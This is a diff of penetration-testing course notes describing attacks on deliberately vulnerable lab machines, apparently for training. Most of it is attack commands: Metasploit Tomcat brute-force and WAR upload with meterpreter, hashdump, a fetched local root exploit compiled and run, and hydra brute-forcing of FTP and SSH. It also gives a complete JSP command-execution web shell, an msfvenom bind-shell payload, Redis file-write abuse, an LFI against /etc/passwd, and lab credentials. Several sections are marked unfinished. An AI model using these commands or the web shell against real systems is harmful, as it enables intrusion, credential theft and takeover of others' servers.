602 | 8080/tcp open http-proxy | |
603 | 8081/tcp open blackice-icecap | |
604 | 9000/tcp open cslistener | |
605 | ||
606 | Nmap done: 1 IP address (1 host up) scanned in 133.56 seconds | |
607 | - | Deploy the WAR file using the built-in deploy option on the manager web-page. |
607 | + | |
608 | ||
609 | ||
610 | ||
611 | ||
612 | ||
613 | ||
614 | ---------------------------Type This----------------------------------- | |
615 | ||
616 | infosecaddicts@ubuntu:~$ sudo nmap -sV -p25,80,111,139,445,1322,2049,8080,8081,9000 172.31.2.24 | |
617 | ----------------------------------------------------------------------- | |
618 | ||
619 | Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:21 EST | |
620 | Nmap scan report for 172.31.2.24 | |
621 | Host is up (0.031s latency). | |
622 | PORT STATE SERVICE VERSION | |
623 | 25/tcp open ftp vsftpd 3.0.2 | |
624 | 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | |
625 | 111/tcp open rpcbind 2-4 (RPC #100000) | |
626 | 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: CANYOUPWNME) | |
627 | 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: CANYOUPWNME) | |
628 | 1322/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) | |
629 | 2049/tcp open nfs_acl 2-3 (RPC #100227) | |
630 | 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 | |
631 | 8081/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | |
632 | 9000/tcp open http Jetty winstone-2.9 | |
633 | Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel | |
634 | ||
635 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . | |
636 | Nmap done: 1 IP address (1 host up) scanned in 15.15 seconds | |
637 | ||
638 | ||
639 | ||
640 | ||
641 | ||
642 | ||
643 | ||
644 | ||
645 | ########################### | |
646 | # Day 1: Attacking Kevgir # | |
647 | ########################### | |
648 | ||
649 | ||
650 | ******** Attacking Kevgir ******** | |
651 | I figured I've give you something fun to play with. | |
652 | ||
653 | ||
654 | ||
655 | ############### | |
656 | # Using Nikto # | |
657 | ############### | |
658 | ||
659 | ---------------------------Type This----------------------------------- | |
660 | ||
661 | cd ~/toolz/ | |
662 | - | use auxiliary/scanner/ssh/ssh_users |
662 | + | |
663 | rm -rf nikto* | |
664 | ||
665 | git clone https://github.com/sullo/nikto.git Nikto2 | |
666 | ||
667 | cd Nikto2/program | |
668 | ||
669 | perl nikto.pl -h 172.31.2.24 | |
670 | ||
671 | perl nikto.pl -h 172.31.2.24:8080 | |
672 | ||
673 | perl nikto.pl -h 172.31.2.24:8081 | |
674 | ||
675 | perl nikto.pl -h 172.31.2.24:9000 | |
676 | ||
677 | ----------------------------------------------------------------------- | |
678 | - | use auxiliary/scanner/ssh/ssh_login |
678 | + | |
679 | ||
680 | ||
681 | #################### | |
682 | # Using Metasploit # | |
683 | #################### | |
684 | ||
685 | ---------------------------Type This----------------------------------- | |
686 | ||
687 | cd ~/toolz/metasploit | |
688 | ||
689 | ./msfconsole | |
690 | ||
691 | use auxiliary/scanner/http/http_version | |
692 | ||
693 | set RHOSTS 172.31.2.24 | |
694 | ||
695 | set RPORT 8080 | |
696 | ||
697 | run | |
698 | ||
699 | ||
700 | ------------------------------- | |
701 | ||
702 | use auxiliary/scanner/http/tomcat_enum | |
703 | ||
704 | set RHOSTS 172.31.2.24 | |
705 | ||
706 | set RPORT 8080 | |
707 | ||
708 | run | |
709 | ----------------------------------------------------------------------- | |
710 | ||
711 | ||
712 | ||
713 | ||
714 | ||
715 | #################### | |
716 | # Attacking Tomcat # | |
717 | #################### | |
718 | ||
719 | - | python pmabf.py http://172.31.2.24 root list.txt (this gave me the WRONG password) |
719 | + | ---------------------------Type This----------------------------------- |
720 | ||
721 | use auxiliary/scanner/http/http_version | |
722 | ||
723 | set RHOSTS 172.31.2.24 | |
724 | ||
725 | set RPORT 8080 | |
726 | ||
727 | run | |
728 | ||
729 | ||
730 | ------------------------------- | |
731 | ||
732 | ||
733 | - | use use auxiliary/scanner/http/joomla_plugins |
733 | + | use auxiliary/scanner/http/tomcat_mgr_login |
734 | ||
735 | set USERNAME tomcat | |
736 | ||
737 | set USERPASS_FILE /home/infosecaddicts/list.txt | |
738 | ||
739 | set STOP_ON_SUCCESS true | |
740 | ||
741 | set RHOSTS 172.31.2.24 | |
742 | ||
743 | set RPORT 8080 | |
744 | ||
745 | run | |
746 | ||
747 | ||
748 | ------------------------------- | |
749 | ||
750 | use exploit/multi/http/tomcat_mgr_upload | |
751 | ||
752 | set HttpUsername tomcat | |
753 | ||
754 | set HttpPassword tomcat | |
755 | ||
756 | set RHOST 172.31.2.24 | |
757 | ||
758 | set RPORT 8080 | |
759 | ||
760 | set PATH /manager/html | |
761 | ||
762 | set PAYLOAD java/meterpreter/bind_tcp | |
763 | ||
764 | exploit | |
765 | ||
766 | ||
767 | run post/linux/gather/checkvm | |
768 | ||
769 | run post/linux/gather/enum_configs | |
770 | ||
771 | run post/linux/gather/enum_protections | |
772 | ||
773 | run post/linux/gather/enum_system | |
774 | ||
775 | run post/linux/gather/enum_users_history | |
776 | ||
777 | run post/linux/gather/hashdump | |
778 | ||
779 | shell | |
780 | ||
781 | /bin/bash | |
782 | ||
783 | id | |
784 | ||
785 | uname -a | |
786 | ||
787 | dpkg -l | |
788 | ||
789 | cd /tmp | |
790 | ||
791 | - | infosecaddicts |
791 | + | |
792 | ||
793 | ||
794 | - | infosecaddicts |
794 | + | |
795 | ||
796 | **************paste in the content from here ***************** | |
797 | https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c | |
798 | ||
799 | ||
800 | ------ hit enter a few times ------ | |
801 | ||
802 | ------ then type 'out' ----- this closes the file handle... | |
803 | ||
804 | ||
805 | gcc -o boom exploit.c | |
806 | ||
807 | ./boom | |
808 | ||
809 | id | |
810 | ||
811 | ||
812 | ----------------------------------------------------------------------- | |
813 | ||
814 | ---------------------------Type This----------------------------------- | |
815 | ||
816 | hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 172.31.2.24 http-get /manager/html | |
817 | ----------------------------------------------------------------------- | |
818 | ||
819 | ||
820 | ||
821 | ||
822 | ||
823 | -------------------------------------------index.jsp------------------------------------------- | |
824 | <FORM METHOD=GET ACTION='index.jsp'> | |
825 | <INPUT name='cmd' type=text> | |
826 | <INPUT type=submit value='Run'> | |
827 | </FORM> | |
828 | <%@ page import="java.io.*" %> | |
829 | <% | |
830 | String cmd = request.getParameter("cmd"); | |
831 | String output = ""; | |
832 | if(cmd != null) { | |
833 | String s = null; | |
834 | try { | |
835 | Process p = Runtime.getRuntime().exec(cmd,null,null); | |
836 | BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); | |
837 | while((s = sI.readLine()) != null) { output += s+"</br>"; } | |
838 | } catch(IOException e) { e.printStackTrace(); } | |
839 | } | |
840 | %> | |
841 | <pre><%=output %></pre> | |
842 | -------------------------------------------index.jsp------------------------------------------- | |
843 | - | Target IP Address: |
843 | + | |
844 | - | 172.31.2.54 |
844 | + | |
845 | ||
846 | - | cd toolz/ |
846 | + | |
847 | - | mkdir dirbuster |
847 | + | ---------------------------Type This----------------------------------- |
848 | - | wget "http://downloads.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fdirbuster%2Ffiles%2FDirBuster%2520%2528jar%2520%252B%2520lists%2529%2F1.0-RC1%2F&ts=1370262745&use_mirror=nchc" -O DirBuster-1.0-RC1.tar.bz2 |
848 | + | |
849 | - | tar -xjvf DirBuster-1.0-RC1.tar.bz2 |
849 | + | |
850 | - | mv DirBuster-1.0-RC1 dirbuster |
850 | + | |
851 | - | rm DirBuster-1.0-RC1.tar.bz2 |
851 | + | |
852 | cd webshell | |
853 | - | ------------------------------------------------------------------------------------ |
853 | + | |
854 | ----------------------------------------------------------------------- | |
855 | - | open link in browser: |
855 | + | |
856 | ||
857 | - | http://172.31.2.54/ |
857 | + | Deploy the WAR file using the built-in deploy option on the manager web-page. |
858 | Once the WAR file is deployed I simply browse to the URL I deployed the WAR file | |
859 | - | Running nikto and dirbuster with small.txt |
859 | + | |
860 | ||
861 | ||
862 | - | infosecaddicts@ubuntu:~/toolz/nikto/program$ perl nikto.pl -host http://172.31.2.54/ |
862 | + | |
863 | ****** This section isn't finished ****** | |
864 | - | infosecaddicts@ubuntu:~$ cd /home/infosecaddicts/Desktop/dirbuster/DirBuster-1.0-RC1 |
864 | + | |
865 | - | infosecaddicts@ubuntu:~/Desktop/dirbuster/DirBuster-1.0-RC1$ ./DirBuster-1.0-RC1.sh |
865 | + | ---------------------------Type This----------------------------------- |
866 | ||
867 | - | target: http://172.31.2.54/ |
867 | + | |
868 | - | choose small.txt |
868 | + | |
869 | ./msfvenom -p linux/x86/shell_bind_tcp LPORT="7777" -f war > /home/infosecaddicts/bind7777.war | |
870 | - | then try with normal txt |
870 | + | |
871 | jar tf ~/bind7777.war | |
872 | - | open |
872 | + | ----------------------------------------------------------------------- |
873 | ||
874 | - | http://172.31.2.54/phpmy/ |
874 | + | |
875 | ||
876 | Google is your friend hahahahahahahah........ | |
877 | - | ------ |
877 | + | |
878 | - | Burp |
878 | + | |
879 | - | ------ |
879 | + | |
880 | # Attacking FTP # | |
881 | - | download Burp and run it |
881 | + | |
882 | ||
883 | - | infosecaddicts@ubuntu:~/Downloads$ chmod +x burpsuite_free_linux_v1_7_24.sh |
883 | + | ---------------------------Type This----------------------------------- |
884 | - | infosecaddicts@ubuntu:~/Downloads$ ./burpsuite_free_linux_v1_7_24.sh |
884 | + | |
885 | sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.24 | |
886 | ||
887 | - | /test is vuln to LFI |
887 | + | |
888 | ||
889 | hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 172.31.2.24 ftp | |
890 | - | POST /test HTTP/1.1 |
890 | + | |
891 | ftp | |
892 | - | Host: 172.31.2.54 |
892 | + | |
893 | admin | |
894 | - | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0 |
894 | + | |
895 | pwd | |
896 | - | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 |
896 | + | |
897 | ||
898 | - | Accept-Language: en-US,en;q=0.5 |
898 | + | |
899 | ----------------------------------------------------------------------- | |
900 | - | Cookie: PHPSESSID=9a0qsracd27ca5tq1t18kv5k16 |
900 | + | |
901 | ||
902 | - | Connection: close |
902 | + | |
903 | # Attacking SSH # | |
904 | - | Upgrade-Insecure-Requests: 1 |
904 | + | |
905 | ||
906 | ---------------------------Type This----------------------------------- | |
907 | ||
908 | sudo apt-get install -y libssh-dev | |
909 | - | try file=/etc/passwd |
909 | + | |
910 | cd ~/toolz/hydra | |
911 | - | try file=test.php |
911 | + | make clean |
912 | ./configure | |
913 | - | try file=/var/www/phpmy/config.inc.php |
913 | + | make |
914 | sudo make install | |
915 | ||
916 | ||
917 | hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 172.31.2.24 ssh | |
918 | ||
919 | - | ssh root@172.31.2.54 |
919 | + | |
920 | ||
921 | - | pass: roottoor |
921 | + | |
922 | ------------------------------- | |
923 | - | return to burp |
923 | + | |
924 | cd ~/toolz/metasploit | |
925 | ||
926 | - | POST /test HTTP/1.1 |
926 | + | |
927 | ||
928 | - | Host: 172.31.2.54 |
928 | + | use auxiliary/scanner/ssh/ssh_enumusers |
929 | ||
930 | - | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0 |
930 | + | |
931 | ||
932 | - | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 |
932 | + | |
933 | ||
934 | - | Accept-Language: en-US,en;q=0.5 |
934 | + | |
935 | ||
936 | - | Cookie: PHPSESSID=9a0qsracd27ca5tq1t18kv5k16 |
936 | + | |
937 | ||
938 | - | Connection: close |
938 | + | |
939 | ||
940 | - | Upgrade-Insecure-Requests: 1 |
940 | + | |
941 | ||
942 | - | try file=c.php |
942 | + | |
943 | ||
944 | use auxiliary/scanner/ssh/ssh_login | |
945 | ||
946 | - | You can now login to phpmyadmin : http://172.31.2.54/phpmy/ |
946 | + | |
947 | ||
948 | - | user: billu |
948 | + | |
949 | - | pass: b0x_billu |
949 | + | |
950 | set STOP_ON_SUCCESS true | |
951 | ||
952 | set RHOSTS 172.31.2.24 | |
953 | ||
954 | set RPORT 1322 | |
955 | - | # Day 3 Homework # |
955 | + | |
956 | run | |
957 | - | Take screenshots of you performing all of the day 3 tasks above |
957 | + | |
958 | ||
959 | sessions -l | |
960 | ||
961 | - | ############################################################ |
961 | + | |
962 | - | # Section 1: Ruby Fundamentals and Metasploit Architecture # |
962 | + | |
963 | - | ############################################################ |
963 | + | |
964 | ||
965 | - | ################################ |
965 | + | |
966 | - | # Chapter 1: Ruby Fundamentals # |
966 | + | |
967 | - | ################################ |
967 | + | ----------------------------------------------------------------------- |
968 | ||
969 | ||
970 | ######################## | |
971 | - | - Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer |
971 | + | |
972 | - | scientist and programmer from Japan. It is a cross-platform dynamic language. |
972 | + | |
973 | ****** This section isn't finished ****** | |
974 | - | - The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby |
974 | + | |
975 | - | on Rails is a framework that is written in Ruby. |
975 | + | ---------------------------Type This----------------------------------- |
976 | ||
977 | - | - Ruby's file name extensions are .rb and .rbw. |
977 | + | |
978 | ----------------------------------------------------------------------- | |
979 | - | - official website of this |
979 | + | |
980 | ****** This section isn't finished ****** | |
981 | - | - language: www.ruby-lang.org. |
981 | + | |
982 | Google is your friend hahahahahahahah........ | |
983 | ||
984 | - | - interactive Shell called Ruby Shell |
984 | + | |
985 | ||
986 | ---------------------------Type This----------------------------------- | |
987 | - | - Installing and Running IRB |
987 | + | |
988 | wget https://repo.palkeo.com/repositories/mysterie.fr/prog/darkc0de/others/pmabf.py | |
989 | ||
990 | - | - open up the interactive console and play around. |
990 | + | python pmabf.py http://172.31.2.24 root list.txt (this gave me the WRONG password) |
991 | ----------------------------------------------------------------------- | |
992 | ||
993 | - | irb |
993 | + | |
994 | ||
995 | ||
996 | ||
997 | - | - Math, Variables, Classes, Creating Objects and Inheritance |
997 | + | |
998 | #################### | |
999 | # Attacking Joomla # | |
1000 | - | #following arithmetic operators: |
1000 | + | |
1001 | - | Addition operator (+) — 10 + 23 |
1001 | + | |
1002 | - | Subtraction operator (-) — 1001 - 34 |
1002 | + | ---------------------------Type This----------------------------------- |
1003 | - | Multiplication operator (*) — 5 * 5 |
1003 | + | |
1004 | - | Division operator (/) — 12 / 2 |
1004 | + | |
1005 | ||
1006 | ./msfconsole | |
1007 | ||
1008 | - | #Now let’s cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment |
1008 | + | use use auxiliary/scanner/http/joomla_plugins |
1009 | - | operator. ‘=’ is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by |
1009 | + | |
1010 | - | 30. Again, 69 is assigned to y, and then y is incremented by 33. |
1010 | + | |
1011 | ||
1012 | - | x = 25 |
1012 | + | |
1013 | - | x + 30 |
1013 | + | |
1014 | - | y = 69 |
1014 | + | |
1015 | - | y+33 |
1015 | + | ----------------------------------------------------------------------- |
1016 | ||
1017 | ||
1018 | ****** This section isn't finished ****** | |
1019 | Google is your friend hahahahahahahah........ | |
1020 | - | - Let’s look at creating classes and creating objects. |
1020 | + | |
1021 | ##################### | |
1022 | - | - Here, the name of the class is Strategicsec. An object has its properties and methods. |
1022 | + | |
1023 | ##################### | |
1024 | ||
1025 | ||
1026 | - | class Attack |
1026 | + | |
1027 | - | attr_accessor :of, :sqli, :xss |
1027 | + | |
1028 | - | end |
1028 | + | |
1029 | ################# | |
1030 | - | #Now that we have created the classes let’s create the objects |
1030 | + | |
1031 | ################# | |
1032 | - | first_attack = Attack.new |
1032 | + | |
1033 | - | first_attack.of = "stack" |
1033 | + | ---------------------------Type This----------------------------------- |
1034 | - | first_attack.sqli = "blind" |
1034 | + | |
1035 | - | first_attack.xss = "dom" |
1035 | + | |
1036 | - | puts first_attack.of |
1036 | + | |
1037 | - | puts first_attack.sqli |
1037 | + | |
1038 | - | puts first_attack.xss |
1038 | + | |
1039 | showmount -e 172.31.2.24 | |
1040 | ||
1041 | sudo /bin/bash | |
1042 | ||
1043 | mkdir /tmp/nfs | |
1044 | - | - Let’s work on some inheritance that will help make your programming life easier. When we have multiple classes, |
1044 | + | |
1045 | - | inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which |
1045 | + | |
1046 | - | one object can access the properties/attributes of another object of a different class. Inheritance makes your |
1046 | + | |
1047 | - | programming life easier by maximizing code reuse. |
1047 | + | |
1048 | ||
1049 | cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts | |
1050 | ||
1051 | - | class Exploitframeworks |
1051 | + | |
1052 | - | attr_accessor :scanners, :exploits, :shellcode, :postmodules |
1052 | + | |
1053 | - | end |
1053 | + | |
1054 | - | class Metasploit < Exploitframeworks |
1054 | + | |
1055 | - | end |
1055 | + | |
1056 | - | class Canvas < Exploitframeworks |
1056 | + | |
1057 | - | end |
1057 | + | |
1058 | - | class Coreimpact < Exploitframeworks |
1058 | + | |
1059 | - | end |
1059 | + | |
1060 | - | class Saint < Exploitframeworks |
1060 | + | |
1061 | - | end |
1061 | + | |
1062 | - | class Exploitpack < Exploitframeworks |
1062 | + | |
1063 | - | end |
1063 | + | |
1064 | ----------------------------------------------------------------------- | |
1065 | ||
1066 | ||
1067 | ################### | |
1068 | # Attacking Redis # | |
1069 | - | - Methods, More Objects, Arguments, String Functions and Expression Shortcuts |
1069 | + | |
1070 | ||
1071 | - | - Let’s create a simple method. A method is used to perform an action and is generally called with an object. |
1071 | + | ---------------------------Type This----------------------------------- |
1072 | ||
1073 | - | - Here, the name of the method is ‘learning’. This method is defined inside the Msfnl class. When it is called, |
1073 | + | |
1074 | - | it will print this string: “We are Learning how to PenTest” |
1074 | + | infosecaddicts |
1075 | ||
1076 | - | - An object named ‘bo’ is created, which is used to call the method. |
1076 | + | |
1077 | infosecaddicts | |
1078 | ||
1079 | - | |
1079 | + | |
1080 | - | class Msfnl |
1080 | + | |
1081 | - | def learning |
1081 | + | |
1082 | - | puts “We are Learning how to PenTest” |
1082 | + | |
1083 | - | end |
1083 | + | |
1084 | - | end |
1084 | + | |
1085 | config set dbfilename boom.php | |
1086 | - | #Now let’s define an object for our Method |
1086 | + | |
1087 | CONFIG GET dbfilename | |
1088 | - | joe = Msfnl.new |
1088 | + | |
1089 | - | joe.learning |
1089 | + | |
1090 | ||
1091 | BGSAVE | |
1092 | ||
1093 | http://172.31.2.24/boom.php | |
1094 | - | - An argument is a value or variable that is passed to the function while calling it. In the following example, while |
1094 | + | |
1095 | - | calling the puts() function, we are sending a string value to the function. This string value is used by the |
1095 | + | |
1096 | - | function to perform some particular operations. |
1096 | + | |
1097 | ||
1098 | - | puts (“Pentesting”) |
1098 | + | |
1099 | ||
1100 | ||
1101 | ||
1102 | ****** This section isn't finished ****** | |
1103 | Google is your friend hahahahahahahah........ | |
1104 | - | - shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated |
1104 | + | |
1105 | - | assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following |
1105 | + | |
1106 | - | statements to understand the shortcuts. |
1106 | + | |
1107 | ./msfconsole | |
1108 | - | g = 70 |
1108 | + | |
1109 | - | g = g+44 |
1109 | + | |
1110 | - | g += 33 |
1110 | + | |
1111 | set RHOSTS 172.31.2.24 | |
1112 | - | - In the above statement, g is incremented by 33 and then the total value is assigned to g. |
1112 | + | |
1113 | set LocalFile | |
1114 | - | g *= 3 |
1114 | + | |
1115 | ****** This section isn't finished ****** | |
1116 | - | - In the above statement, g is multiplied with 3 and then assigned to g. |
1116 | + | |
1117 | ||
1118 | - | - Example |
1118 | + | |
1119 | ||
1120 | - | - Comparison Operators, Loops, Data Types, and Constants |
1120 | + | |
1121 | ||
1122 | - | - Comparison operators are used for comparing one variable or constant with another variable or constant. We will show |
1122 | + | sudo nmap -sV -p 3260 172.31.2.217 |
1123 | - | how to use the following comparison operators. |
1123 | + | |
1124 | - | ‘Less than’ operator (<): This operator is used to check whether a variable or constant is less than another |
1124 | + | |
1125 | - | variable or constant. If it’s less than the other, the ‘less than’ operator returns true. |
1125 | + | sudo apt install open-iscsi |
1126 | - | ‘Equal to’ operator (==): This operator is used to check whether a variable or constant is equal to another variable |
1126 | + | |
1127 | - | or constant. If it’s equal to the other, the ‘equal to’ operator returns true. |
1127 | + | sudo iscsiadm -m discovery -t st -p 172.31.2.217 |
1128 | - | ‘Not equal to’ operator (!=): This operator is used to check whether a variable or constant is not equal to another |
1128 | + | |
1129 | - | variable or constant. If it’s not equal to the other, the ‘not equal to’ operator returns true. |
1129 | + | sudo iscsiadm -m discovery -t st -p 172.31.2.217:3260 |
1130 | ||
1131 | sudo iscsiadm -m node -p 172.31.2.217 --login | |
1132 | - | numberofports = 55 |
1132 | + | |
1133 | - | puts "number of ports found during scan" if numberofports < 300 |
1133 | + | |
1134 | - | numberofports = 400 |
1134 | + | |
1135 | - | puts "number of ports found during scan" if numberofports < 300 |
1135 | + | fdisk -l |
1136 | - | puts "number of ports found during scan" if numberofports == 300 |
1136 | + | ***** look for /dev/sda5 - Linux swap / Solaris ******* |
1137 | - | puts "number of ports found during scan" if numberofports != 300 |
1137 | + | |
1138 | - | Example |
1138 | + | mkdir /mnt/217vm |
1139 | ||
1140 | mount /dev/sdb /mnt/217vm | |
1141 | - | - the ‘OR’ operator and the ‘unless’ keyword. This symbol ‘||’ represents the logical ‘OR’ operator. |
1141 | + | |
1142 | cd /mnt/217vm | |
1143 | - | - This operator is generally used to combine multiple conditions. |
1143 | + | |
1144 | - | - In case of two conditions, if both or any of the conditions is true, the ‘OR’operator returns true. Consider the |
1144 | + | |
1145 | ||
1146 | - | - following example to understand how this operator works. |
1146 | + | cat flag1.txt |
1147 | ||
1148 | - | ports = 100 |
1148 | + | file bobsdisk.dsk |
1149 | - | puts "number of ports found on the network" if ports<100 || ports>200 |
1149 | + | |
1150 | - | puts "number of ports found on the network" if ports<100 || ports>75 |
1150 | + | mkdir /media/bobsdisk |
1151 | - | #unless |
1151 | + | |
1152 | - | portsbelow1024 = 50 |
1152 | + | mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk |
1153 | - | puts "If the ports are below 1024" unless portsbelow1024 < 1000 |
1153 | + | |
1154 | - | puts "If the ports are below 1024" unless portsbelow1024 < 1055 |
1154 | + | /mnt/217vm# ls |
1155 | - | puts "If the ports are below 1024" unless portsbelow1024 < 20 |
1155 | + | |
1156 | cd /media/bobsdisk/ | |
1157 | ||
1158 | - | - The ‘unless’ keyword is used to do something programmatically unless a condition is true. |
1158 | + | |
1159 | ||
1160 | cat ToAlice.eml | |
1161 | ||
1162 | - | - Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times. |
1162 | + | file bobsdisk.dsk |
1163 | ||
1164 | - | - See the following example to understand how a string is printed 10 times on the screen using a loop. |
1164 | + | mkdir /media/bobsdisk |
1165 | ||
1166 | - | 10.times do puts "strategicsec" end |
1166 | + | mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk |
1167 | - | #Or use the curly braces |
1167 | + | |
1168 | - | 10.times {puts "strategicsec"} |
1168 | + | /mnt/217vm# ls |
1169 | ||
1170 | cd /media/bobsdisk/ | |
1171 | ||
1172 | - | - Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while |
1172 | + | |
1173 | - | working with different data types. Data type conversion is also known as type casting. |
1173 | + | |
1174 | cat ToAlice.eml | |
1175 | ||
1176 | file ToAlice.csv.enc | |
1177 | - | - In the following example, a and b are integers. So when a is divided by b, an integer division is performed. As a |
1177 | + | |
1178 | - | result, 23/25 becomes 0. |
1178 | + | file bobsdisk.dsk |
1179 | ||
1180 | - | - On the other hand, the integer variables c and d are converted to float. So the division gives the result in decimal |
1180 | + | |
1181 | - | points. |
1181 | + | |
1182 | mkdir /media/bobsdisk | |
1183 | - | 24/4 |
1183 | + | |
1184 | - | 14.0/5.0 |
1184 | + | |
1185 | - | a = 23 |
1185 | + | mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk |
1186 | - | b = 25 |
1186 | + | |
1187 | - | print a/b |
1187 | + | |
1188 | - | c = 26 |
1188 | + | |
1189 | - | d = 33 |
1189 | + | cd /media/bobsdisk/ |
1190 | - | print c.to_f/d.to_f |
1190 | + | |
1191 | ls | |
1192 | ||
1193 | openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv | |
1194 | ||
1195 | - | - Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you |
1195 | + | |
1196 | - | change the value of a constant, you will see a warning message. |
1196 | + | |
1197 | cat ToAlice.eml | grep flag | |
1198 | ||
1199 | openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv | |
1200 | ||
1201 | - | - Multiple Line String Variable, Interpolation, and Regular Expressions |
1201 | + | |
1202 | ||
1203 | - | - A multiple line string variable lets you assign the value to the string variable through multiple lines. |
1203 | + | cat ToAlice.eml |
1204 | ***** look for supercalifragilisticoespialidoso ****** | |
1205 | - | strategicsec = <<mark |
1205 | + | |
1206 | - | welcome |
1206 | + | openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv |
1207 | - | to the |
1207 | + | |
1208 | - | best |
1208 | + | supercalifragilisticoespialidoso |
1209 | - | metasploit |
1209 | + | |
1210 | - | course |
1210 | + | |
1211 | - | on the |
1211 | + | |
1212 | - | market |
1212 | + | |
1213 | - | mark |
1213 | + | cat ToAlice.csv |
1214 | - | puts strategicsec |
1214 | + | ----------------------------------------------------------------------- |
1215 | ||
1216 | ----------------------------------------------------- | |
1217 | Web Path,Reason | |
1218 | - | - Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that |
1218 | + | 5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! |
1219 | - | it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position. |
1219 | + | c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here. |
1220 | - | Examine the following example to understand how interpolation works in Ruby. |
1220 | + | flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it? |
1221 | ||
1222 | ----------------------------------------------------- | |
1223 | ||
1224 | - | a = 4 |
1224 | + | The hints are "Web Path" and "strangest URL" so let's try the long strings in the URL: |
1225 | - | b = 6 |
1225 | + | http://172.31.2.217/5560a1468022758dba5e92ac8f2353c0/ |
1226 | - | puts “a * b = a*b” |
1226 | + | -- view source |
1227 | - | puts “ #{a} * #{b} = #{a*b} “ |
1227 | + | |
1228 | - | person = “Joe McCray” |
1228 | + | Found this string in the source: |
1229 | - | puts “IT Security consultant person” |
1229 | + | R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr |
1230 | - | puts “IT Security consultant #{person}” |
1230 | + | ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl |
1231 | bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi | |
1232 | - | - Notice that the placeholders inside #{ } are evaluated and they are replaced with their values. |
1232 | + | YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK |
1233 | ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56 | |
1234 | YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg | |
1235 | - | - Regular expression is a powerful technique for text searching and text manipulation. Ruby provides built-in support |
1235 | + | TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l |
1236 | - | for regular expressions through the Regexp class. So the regular expressions in Ruby are the objects of Regexp type. |
1236 | + | IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh |
1237 | ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl | |
1238 | IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK | |
1239 | ||
1240 | - | - In regular expressions, we define patterns to perform text search and advanced text manipulations. String literals |
1240 | + | ------ https://www.base64decode.org/ ------- |
1241 | - | and metacharacters constitute a pattern. // characters mark the beginning and end of a pattern in Ruby. |
1241 | + | ------ Decoded, but didn't find a flag ----- |
1242 | - | The following example shows how the substring “today” |
1242 | + | |
1243 | - | is placed in the main string. |
1243 | + | |
1244 | http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/ | |
